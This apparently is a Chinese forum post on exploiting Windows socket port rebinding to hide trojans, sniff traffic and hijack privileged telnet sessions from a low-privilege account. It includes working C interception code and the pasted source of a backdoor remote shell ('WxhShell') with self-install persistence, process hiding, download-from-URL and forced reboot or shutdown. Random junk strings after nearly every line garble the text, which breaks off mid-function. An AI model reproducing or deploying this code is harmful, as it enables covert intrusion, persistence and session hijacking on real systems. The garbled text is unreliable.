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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JP^x]t:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5'w&M{{9  
S&'s/jB  
  saddr.sin_family = AF_INET; KilN`?EJ  
Znh;#%n|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y9st3  
9U )9u["DH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T@zp'6\H  
g]BA/Dw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nT}i&t!q8@  
Q{miI N  
  这意味着什么?意味着可以进行如下的攻击: \.P#QVuQ  
:w4N*lV-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m?8o\|i,  
WqCj;Tj|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N_+D#Z.g  
CEzdH!nP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '[_.mx|cd`  
FBzsM7]j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YZ<5-C  
k!WeE#"(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2$o\`^dy  
x>A[~s"|N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m<*+^JN  
!#e+!h@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q?`s4P)14o  
]zIIi%  
  #include \SYeDy  
  #include "st+2#{  
  #include txX>zR*)  
  #include    Z\n^m^Z =  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EF9Y=(0|  
  int main() |;p.!FO  
  { iVmy|ewd  
  WORD wVersionRequested; 8R(l~  
  DWORD ret; hwi_=-SL  
  WSADATA wsaData; pm[i#V<v  
  BOOL val; Aq>?G+  
  SOCKADDR_IN saddr; /h]ru SI  
  SOCKADDR_IN scaddr; iorQ/(  
  int err; y T&#k1  
  SOCKET s; nCA~=[&H  
  SOCKET sc; REsw=P!b  
  int caddsize; G"6XJYoI  
  HANDLE mt; 8"V1h72vcW  
  DWORD tid;   Y%r>=Jvu6  
  wVersionRequested = MAKEWORD( 2, 2 ); qIh9? |`U  
  err = WSAStartup( wVersionRequested, &wsaData ); `ah"Q;d$  
  if ( err != 0 ) { L[`8 :}M  
  printf("error!WSAStartup failed!\n"); Q;nC #cg  
  return -1;   
  } $ma@z0%8}  
  saddr.sin_family = AF_INET; }"kF<gG1  
   D& &71X '  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q$K}Fm1C  
?@6Zv$vZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'coY`B; 8  
  saddr.sin_port = htons(23); 2nL*^hhh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lJx5scN [  
  { WWOjck #  
  printf("error!socket failed!\n"); :j/sTO=  
  return -1; yDRi  
  } ^B7Ls{  
  val = TRUE; ,*m|Lt%;R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'S&Zq:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G6JP3dOT  
  { ~HKzqGQy >  
  printf("error!setsockopt failed!\n"); :wUi&xw  
  return -1; 8 ~Pdr]5  
  } 2{oQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oMoco tQ;$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O]!o|w(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 it-2]Nw  
E!L_"GW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D )Jac@,0  
  { <P]%{msGH  
  ret=GetLastError(); -"#jRP]#  
  printf("error!bind failed!\n"); _U^G*EqL*  
  return -1; s |o(~2j  
  } % ;a B#:p6  
  listen(s,2); h$%h w+"4  
  while(1) n+2>jY  
  { z*cKH$':  
  caddsize = sizeof(scaddr); mSk";UCn  
  //接受连接请求 8-@H zS%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G%K&f1q%  
  if(sc!=INVALID_SOCKET) xNLgcb@v>  
  { Jq8v69fyQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8{6`?qst@  
  if(mt==NULL) f*p=j(sF  
  { <B @z>V  
  printf("Thread Creat Failed!\n"); PO:sF]5  
  break; !>GDp>0  
  } jQBn\^w  
  } Wq}W )E  
  CloseHandle(mt); U % ?+N  
  } 3l$D%y  
  closesocket(s); by,3A  
  WSACleanup(); vRDs~'f  
  return 0; Eb5BJ-XeS^  
  }   l=#b7rBP  
  DWORD WINAPI ClientThread(LPVOID lpParam) ln6=XDu  
  { OE_V6 Er  
  SOCKET ss = (SOCKET)lpParam; p )WRsJ8  
  SOCKET sc; J90 )v7  
  unsigned char buf[4096]; ##Qy6Dc  
  SOCKADDR_IN saddr; X[SIk%{D  
  long num; d-8{}Q  
  DWORD val; GBT219Z@8  
  DWORD ret; rdAy '38g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2~V"[26t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {Wfwf  
  saddr.sin_family = AF_INET; - "{hP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OgHqF,0MN  
  saddr.sin_port = htons(23); 'X ?Iho  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JLg/fB3%  
  {  OAgZeK$  
  printf("error!socket failed!\n"); )XoMOz  
  return -1; DwWm(8&6;}  
  } 1hc`s+N  
  val = 100; O.-A)S@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kX)*:~*  
  { X|}Q4T`  
  ret = GetLastError(); =p:~sn#  
  return -1; lc]cs D  
  } @iBmOt>3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g(G$*#}o8A  
  { Kp;a(D  
  ret = GetLastError(); SQMtR2  
  return -1; %CUwD  
  } =T)y(] ;M$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +Z]}ce u"  
  { DUg[L  
  printf("error!socket connect failed!\n"); w>'3}o(nY  
  closesocket(sc); ZQ'|B  
  closesocket(ss); hb9HVj  
  return -1; NiRb:F-  
  } +&E\w,Vq^  
  while(1) p=|S %  
  { ]!s@FKC{;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b tbuE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z<J2e^j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RS@G.|  
  num = recv(ss,buf,4096,0); Fr2F&NN`D  
  if(num>0) [*5hx_4%B  
  send(sc,buf,num,0); C]h_co2eI  
  else if(num==0) :lK8i{o  
  break; f>&*%[fw  
  num = recv(sc,buf,4096,0); *<}R=X.  
  if(num>0) %:sP#BQM  
  send(ss,buf,num,0); "_=t1UE  
  else if(num==0) bXqTc2>=  
  break; 8I<j"6`+Q  
  } A.RG8"  
  closesocket(ss); `\/\C[Gg  
  closesocket(sc); VA %lJ!$  
  return 0 ; p Ohjq#}  
  } &[N_{O|  
`B$Pk0>5r  
NSq29#  
========================================================== 'a:';hU3f  
O[p c$Pi  
下边附上一个代码,,WXhSHELL P:5vS:s?  
=F5zU5`i  
========================================================== Tr;&bX5]H  
7;Vmbt9  
#include "stdafx.h" '?LqVzZI  
S,a:H*Hf  
#include <stdio.h> \!%~( FM  
#include <string.h> %MEWw  
#include <windows.h> +"|TPKas  
#include <winsock2.h> <)"i'v $  
#include <winsvc.h> D z[ ,;  
#include <urlmon.h> Ylgr]?Db*  
Zlygx  
#pragma comment (lib, "Ws2_32.lib") fUOQ(BGp  
#pragma comment (lib, "urlmon.lib") HYZp= *eb  
 lsgZ  
#define MAX_USER   100 // 最大客户端连接数 z f >(Y7M  
#define BUF_SOCK   200 // sock buffer xqauSW  
#define KEY_BUFF   255 // 输入 buffer (UTA3Db  
WmRu3O  
#define REBOOT     0   // 重启  @l&{ j  
#define SHUTDOWN   1   // 关机 #vAqqAS`,  
gJg+ ]-h/  
#define DEF_PORT   5000 // 监听端口 M'T[L%AP  
NceK>:: 56  
#define REG_LEN     16   // 注册表键长度 AKS. XW  
#define SVC_LEN     80   // NT服务名长度 |:SIyXGbY  
Ix~rBD9  
// 从dll定义API mcs!A/]<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LCe6](Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 57_AJT hR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2tQ?=V(Di  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _{GD\Ai_W  
8v=t-GJW  
// wxhshell配置信息 E 0@u|  
struct WSCFG { E5a7p.  
  int ws_port;         // 监听端口 hZ')<@hNP  
  char ws_passstr[REG_LEN]; // 口令 PO|gM8E1x?  
  int ws_autoins;       // 安装标记, 1=yes 0=no NFf` V  
  char ws_regname[REG_LEN]; // 注册表键名 0W~1v  
  char ws_svcname[REG_LEN]; // 服务名 6=*n$l# }  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xhB-gG=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _,f7D/dq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dl6Ju  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  "Id 1H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~y/qm [P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "#h/sAIs  
A-h[vP!v|  
}; .}E@ 7^X  
m;qqjzy  
// default Wxhshell configuration K 28s<i`  
struct WSCFG wscfg={DEF_PORT, (-@I'CFd  
    "xuhuanlingzhe", KHM,lj*  
    1, *q@3yB}  
    "Wxhshell", S7@/d HN  
    "Wxhshell", R_vK^Da  
            "WxhShell Service", Sae*VvT6  
    "Wrsky Windows CmdShell Service", &gI*[5v  
    "Please Input Your Password: ", :w7?]y6~S  
  1, Ga pM~~  
  "http://www.wrsky.com/wxhshell.exe", /!60oV4p0  
  "Wxhshell.exe" Q@*9|6-  
    }; ?!3u ?Kd  
d^0-|sx  
// 消息定义模块 E#cu}zi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b{ tp qNm~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t7*F,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lk=[Xo  
char *msg_ws_ext="\n\rExit."; W'e{2u  
char *msg_ws_end="\n\rQuit."; TxTxyYd  
char *msg_ws_boot="\n\rReboot..."; TiJ \J{  
char *msg_ws_poff="\n\rShutdown..."; biU ?>R  
char *msg_ws_down="\n\rSave to "; }^*`&Lh  
=>O{hT ^F  
char *msg_ws_err="\n\rErr!"; *=Ma5J.  
char *msg_ws_ok="\n\rOK!"; sXY{g0%  
^Of\l:q*  
char ExeFile[MAX_PATH]; g``S SU  
int nUser = 0; *g4Uo{  
HANDLE handles[MAX_USER]; ![eipOX  
int OsIsNt; 7324#HwS  
5JG`FRW!  
SERVICE_STATUS       serviceStatus; - <tTT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KXBTJ&  
g3Ul'QJ  
// 函数声明 T ^ #1T$  
int Install(void); L:.Rv0XT  
int Uninstall(void); 6H0aHCM  
int DownloadFile(char *sURL, SOCKET wsh); :j`XU  
int Boot(int flag); fe}RmnAC  
void HideProc(void); [I[*?9}$"  
int GetOsVer(void); (Sj<>xgd  
int Wxhshell(SOCKET wsl); 7>EMr}f C  
void TalkWithClient(void *cs); rAD4}A_w  
int CmdShell(SOCKET sock); ('.I)n  
int StartFromService(void); 8[a N5M]  
int StartWxhshell(LPSTR lpCmdLine); ~h%H;wC&  
E_{P^7Z|Jg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g<:TsP'|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N1U.1~U  
'Hu+8,xA  
// 数据结构和表定义 ciW;sK8  
SERVICE_TABLE_ENTRY DispatchTable[] = d-gcXaA-8  
{ <t"fL RX  
{wscfg.ws_svcname, NTServiceMain}, ?DY6V;&F@f  
{NULL, NULL} 'G`xD3 E3,  
}; yz)Nco]  
 gA19f  
// 自我安装 x$pz(Q&v  
int Install(void) _6]tbni?v  
{ y4H/CH$%  
  char svExeFile[MAX_PATH]; upq3)t_  
  HKEY key; T`c:16I  
  strcpy(svExeFile,ExeFile); -.Zy(  
y-Lm^ GW4  
// 如果是win9x系统,修改注册表设为自启动 x@|10GC#:  
if(!OsIsNt) { _J,*0~O$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {l\Ep=O vx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -:Q"aeC5  
  RegCloseKey(key); Wq<H sJd/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y"H(F,(N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %-|$7?~   
  RegCloseKey(key); G+m[W  
  return 0; %d /]8uO  
    } zJOyr"B'8  
  } 9|K :\!7  
} $]a*ZHd;2&  
else { &C#?&AQ  
X#X/P  
// 如果是NT以上系统,安装为系统服务 J~N!. i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MI`<U:-lP  
if (schSCManager!=0) {H 3wL  
{ ]=Wq&~  
  SC_HANDLE schService = CreateService DH.CAV  
  ( zXe]P(p<  
  schSCManager, 0bu!(Tpg7  
  wscfg.ws_svcname, :aD_>,n  
  wscfg.ws_svcdisp, V)I Tk \  
  SERVICE_ALL_ACCESS, <co:z<^lqu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *QoQ$alHH  
  SERVICE_AUTO_START, ~Yre(8+M  
  SERVICE_ERROR_NORMAL, LDDt=HEY4  
  svExeFile, GMpg+rK  
  NULL, Jb)xzUhES  
  NULL, FWLLbL5t  
  NULL, gj }Vnv1[  
  NULL, xk^`4;  
  NULL unr`.}A2>  
  ); 5K =>x<  
  if (schService!=0) #z c$cr  
  { ]hbrzv o  
  CloseServiceHandle(schService); i1Y<[s  
  CloseServiceHandle(schSCManager);  o%$R`;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p`'3Il3  
  strcat(svExeFile,wscfg.ws_svcname); SOS|3q_`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r4]hcoU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G(1_P1  
  RegCloseKey(key); `b_n\pf ]  
  return 0; /K<>OyR?  
    } iS`ok  
  } 6s$h _$[X  
  CloseServiceHandle(schSCManager); Y*S(uqM  
} :S+Bu*OyH  
} ^[q/w<_j~  
1W7ClT_cQ  
return 1; "_\77cqpTh  
} [6nN]U~Y  
\WZSY||C|_  
// 自我卸载 Zy>y7O(,  
int Uninstall(void) M2A_T.F=H  
{ DyRU$U  
  HKEY key; 8(H!iKHe  
=b Q\BY#  
if(!OsIsNt) { Bey9P)_Of  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :=K+~?  
  RegDeleteValue(key,wscfg.ws_regname); gbu)bqu2x  
  RegCloseKey(key); z/pxZ B ~"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 R>!jw  
  RegDeleteValue(key,wscfg.ws_regname); O#)YbaE  
  RegCloseKey(key); +Ecn  
  return 0; qh6Q#s>tH  
  } O/oLQoH  
} l^__oam  
} QL-E4]   
else { W}WDj:  
^,Ft7JAn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )t$-/8  
if (schSCManager!=0) U< "k -  
{ 2hb>6Z;r]K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D#d/?\2  
  if (schService!=0) )c.!3n/pb  
  { t]ID  
  if(DeleteService(schService)!=0) { 0 l+Jq  
  CloseServiceHandle(schService); k jx<;##R8  
  CloseServiceHandle(schSCManager); *tl;0<n  
  return 0; ",S146Y+  
  } ~@"H\):/  
  CloseServiceHandle(schService); 5W09>C>OC  
  } u_Xp\RJ  
  CloseServiceHandle(schSCManager); $qiM_06  
} *^ua2s.  
} 2 yRUw  
%D`j3cEp@  
return 1; n_6#Df*  
} (?[%u0%_  
_I0=a@3  
// 从指定url下载文件 +rka 5ts  
int DownloadFile(char *sURL, SOCKET wsh) HzAw rC  
{ S|m|ulB  
  HRESULT hr; P o\d!  
char seps[]= "/"; V"KuwM  
char *token;  bDq<]h_7  
char *file; xr31< 4B  
char myURL[MAX_PATH]; ].@8/. rg  
char myFILE[MAX_PATH]; @CKMJ^#|  
q( %)^C  
strcpy(myURL,sURL); $,nidK!"  
  token=strtok(myURL,seps); Ru$%gh>v  
  while(token!=NULL) /'bX}H(dq  
  { {@[#0gPH  
    file=token; X:QRy9]  
  token=strtok(NULL,seps); Axla@  
  } Y"TrF(C  
P6`LUyz3  
GetCurrentDirectory(MAX_PATH,myFILE); }|],UXk{xB  
strcat(myFILE, "\\");  CxrsP.  
strcat(myFILE, file);  )eH?3""  
  send(wsh,myFILE,strlen(myFILE),0); Mwa Rwk;  
send(wsh,"...",3,0); FW3uq^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D=M'g}l  
  if(hr==S_OK) (bD#PQXzm  
return 0; {O4&HW%  
else UXOf  
return 1; %kuUQ%W1  
Pje 1,B q  
} _lfS"ae  
6h1pPx7zU  
// 系统电源模块 K}p0$Lc  
int Boot(int flag) P}he}k&IR  
{ C-&s$5MzGb  
  HANDLE hToken; 'N\nJz}  
  TOKEN_PRIVILEGES tkp; 5dL!e<<  
{`9J8qRY  
  if(OsIsNt) { N,&bBp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *`t3z-L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )qRE['M  
    tkp.PrivilegeCount = 1; !z]{zM%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %]o/p_<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &jh17y  
if(flag==REBOOT) { Nh^q&[?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4XSq\.@G  
  return 0; eRg;)[#0>$  
} >j&k:  
else { Mz;KXP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *~d<]U5h  
  return 0; m>!aI?g  
} b:$q5  
  } UGP&&A#T-  
  else { zG<>-?q~'  
if(flag==REBOOT) { b6@0?_n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %z-n2%  
  return 0; w=[ITQ|W%  
} Wli!s~c5Fo  
else { m(CsO|pz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }s.\B    
  return 0; p@wtT"Y  
} y/"CWD/i  
} "P$')u wE  
va!fJ  
return 1; fH% C&xj'&  
} ,W>-MPJn[8  
G~/*!?&z  
// win9x进程隐藏模块 fBKN?]BdN  
void HideProc(void) (Vt5@25JW  
{ %:7/ym[  
! )(To  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,t39~w  
  if ( hKernel != NULL ) /`7G7pQ+  
  { M%5_~g2n'\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [o.#$(   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X&A2:A 6\+  
    FreeLibrary(hKernel); F`.W 9H3  
  } BfQ#5  
&0OH:P%  
return; B. #-@  
} >bg{  
vhN6_XD  
// 获取操作系统版本 .GvZv>  
int GetOsVer(void) {T3wOi  
{ 3(1UI u  
  OSVERSIONINFO winfo; 4hW:c0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tD]vx`0>  
  GetVersionEx(&winfo); LftzW{>gI"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jK2gc^"t  
  return 1; )9+H[  
  else E>F6!qYm  
  return 0; peVzF'F  
} UFeQ%oRa8  
}U**)"  
// 客户端句柄模块 )a$sx}  
int Wxhshell(SOCKET wsl) H:o=gP60]  
{ M+7jJ?n  
  SOCKET wsh; kMg[YQ]OC  
  struct sockaddr_in client; T )bMHk  
  DWORD myID; t!0 IQ9\[*  
/L` +  
  while(nUser<MAX_USER) !iUT Re  
{ TtgsM}Fm  
  int nSize=sizeof(client); W&2r{kCsQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  xC2y/ ?  
  if(wsh==INVALID_SOCKET) return 1; o>I,$=  
\$,8aRT>#U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *?o 'sTH  
if(handles[nUser]==0) %%lJyLq'Vk  
  closesocket(wsh); EH]qYF.  
else #YSFiy:+r_  
  nUser++; }jYVB|2  
  } isz-MP$:K5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {-yw@Kq  
YyC$\HH6  
  return 0; jr^btVOI#\  
} v5*JBW+c*  
2D"aAI<P  
// 关闭 socket 8>(/:u_x  
void CloseIt(SOCKET wsh) aF.fd2k  
{ I%CrsEo  
closesocket(wsh); au/5`  
nUser--; 'Ge8l%p  
ExitThread(0); GsIqUM#R  
} JY$;m3h  
yRt7&,}zL  
// 客户端请求句柄 H)5"<=]  
void TalkWithClient(void *cs) ?F|F~A8dr  
{ 5zH_yZ@+  
Om2w+yU  
  SOCKET wsh=(SOCKET)cs; 66scBi_d  
  char pwd[SVC_LEN]; O?iLLfs  
  char cmd[KEY_BUFF]; H )Ze{N  
char chr[1]; e,l-}=5* P  
int i,j; i_p-|I:hQ  
a!, X@5  
  while (nUser < MAX_USER) { n{"a 0O  
UFyk%#L  
if(wscfg.ws_passstr) { iO}KERfU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1}OM"V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *4c5b'u  
  //ZeroMemory(pwd,KEY_BUFF); =lx~tSiS  
      i=0; c4}|a1R\=  
  while(i<SVC_LEN) { 6Z{(.'Be  
xU |8.,@  
  // 设置超时 {6>$w/+~  
  fd_set FdRead; 0_-P~^A  
  struct timeval TimeOut; -K6y#O@@  
  FD_ZERO(&FdRead); -6# _t  
  FD_SET(wsh,&FdRead); ~g*5."-i  
  TimeOut.tv_sec=8; ;G*)7fi  
  TimeOut.tv_usec=0; k!d<2Qp W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `{Fz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); igF<].'V  
0*6Q 8`I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FPu$Nd&\  
  pwd=chr[0]; Tj!rAMQk  
  if(chr[0]==0xd || chr[0]==0xa) { fD%20P`.  
  pwd=0; 2j$~lI  
  break; Kr+#)S  
  } )oZ2,]us!  
  i++; ?B<.d8i  
    } Myh?=:1~(c  
f\H1$q\p\  
  // 如果是非法用户,关闭 socket 4j<[3~:0 o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1e I_F8I U  
} &a'LOq+r'  
,vuC0{C^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j k&\{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @I?: x4  
j)#GoU=w  
while(1) { AL|3_+G  
D{JwZL@7k2  
  ZeroMemory(cmd,KEY_BUFF); C4gzg  
~Jlq.S'  
      // 自动支持客户端 telnet标准   Nf}i /  
  j=0; }Zfi/^0U  
  while(j<KEY_BUFF) { =D)ADZ\<r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T2|os{U  
  cmd[j]=chr[0]; T/jxsIt3  
  if(chr[0]==0xa || chr[0]==0xd) { y8 dOx=c  
  cmd[j]=0; wqgKs=y  
  break; hbs /S  
  } hd)WdGJp  
  j++; DkW^gt  
    } \+k~p:d_8  
vILgM\or  
  // 下载文件 xsU3c0wbr8  
  if(strstr(cmd,"http://")) { 3!i{4/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hz5t/E  
  if(DownloadFile(cmd,wsh)) w7f)v\p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7yOBxb   
  else sY?sQ'E2]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ){KrBaGa4  
  } tMyMA}`  
  else { }$s QmR R  
gZ=$bR  
    switch(cmd[0]) { R#s_pW{op  
   lHE+o;-  
  // 帮助 i#PR Tbc  
  case '?': { 3V<c4'O\W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2m9qg-W  
    break; V OT9cP^6  
  } /buj(/q^#  
  // 安装 $_gv(&ZT  
  case 'i': { t<%+))b  
    if(Install()) !(y(6u#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )/Oldyp  
    else gl!ht@;>ak  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {~#d_!(  
    break; =nlj|S ~3  
    } ^cuH\&&7  
  // 卸载 /'^ BH A|h  
  case 'r': { "tu*(>'~5  
    if(Uninstall()) YB(8 T"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k7M{+X6[  
    else 7**zO3 H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ::@JL  
    break; J!}R>mR  
    } m<!CF3g  
  // 显示 wxhshell 所在路径 #hXuGBZEI  
  case 'p': { !04 ^E  
    char svExeFile[MAX_PATH]; _S CY e  
    strcpy(svExeFile,"\n\r"); #;UoZJ B  
      strcat(svExeFile,ExeFile); WN o+%  
        send(wsh,svExeFile,strlen(svExeFile),0); R S] N%`]  
    break; kD6Iz$tr  
    } 4v2JrC;  
  // 重启 qJw\<7m  
  case 'b': { 2FGCf} ,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?i}wm`  
    if(Boot(REBOOT)) *=77|Dba  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m;S%RB^~H  
    else { JC}T*h>Ee  
    closesocket(wsh); 6mjD@  
    ExitThread(0); `0-i>>  
    } 5'_:>0}  
    break; kqGydGh*"  
    } u3sr"w&  
  // 关机 |V^f}5gd  
  case 'd': { K] &GSro  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l>)+HoD  
    if(Boot(SHUTDOWN)) %m$t'?  
